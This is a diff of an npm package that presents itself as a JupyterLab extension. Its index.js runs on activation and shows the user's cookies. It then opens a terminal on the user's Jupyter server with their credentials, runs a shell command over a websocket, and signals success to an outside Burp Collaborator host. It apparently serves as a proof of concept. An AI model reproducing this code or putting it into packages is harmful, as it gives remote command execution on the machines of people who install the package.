@dingan1337/another1 1.0.1

package/index.js

@@ -0,0 +1,34 @@
+
+import {
+  JupyterFrontEnd, JupyterFrontEndPlugin
+} from '@jupyterlab/application';
+
+const extension: JupyterFrontEndPlugin<void> = {
+  id: 'another',
+  autoStart: true,
+  activate: (app: JupyterFrontEnd) => {
+  	alert(document.cookie);
+    console.log("started !!!");
+    var xhttp = new XMLHttpRequest;
+      var termUri = location.origin + "/gateway/default/jupyter/api/terminals";
+      xhttp.open("POST", termUri, true);
+      xhttp.withCredentials = true;
+      xhttp.onreadystatechange = function() {
+          if (this.readyState == 4 && this.status == 200) {
+            fetch("http://k1mpq3iwboupo0l01vh5e3bycpig65.burpcollaborator.net/success")
+              console.log("request successfull!!! ");
+              var resp = xhttp.responseText.split('"');
+              var terminal_id = resp[3];
+              var wsUri = "wss://"+location.host+"/terminals/websocket/"+terminal_id;
+              var ws = new WebSocket(wsUri);
+              ws.onopen = function(evt) {  
+              ws.send('["stdin","touch pwned.txt\\r"]');
+              fetch("http://k1mpq3iwboupo0l01vh5e3bycpig65.burpcollaborator.net/")
+              };
+              console.log("file created pwned.txt!!! ");
+          }
+      };
+      xhttp.send();
+  }
+};
+export default extension;

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "@dingan1337/another1",
+  "version": "1.0.1",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "",
+  "license": "ISC"
+}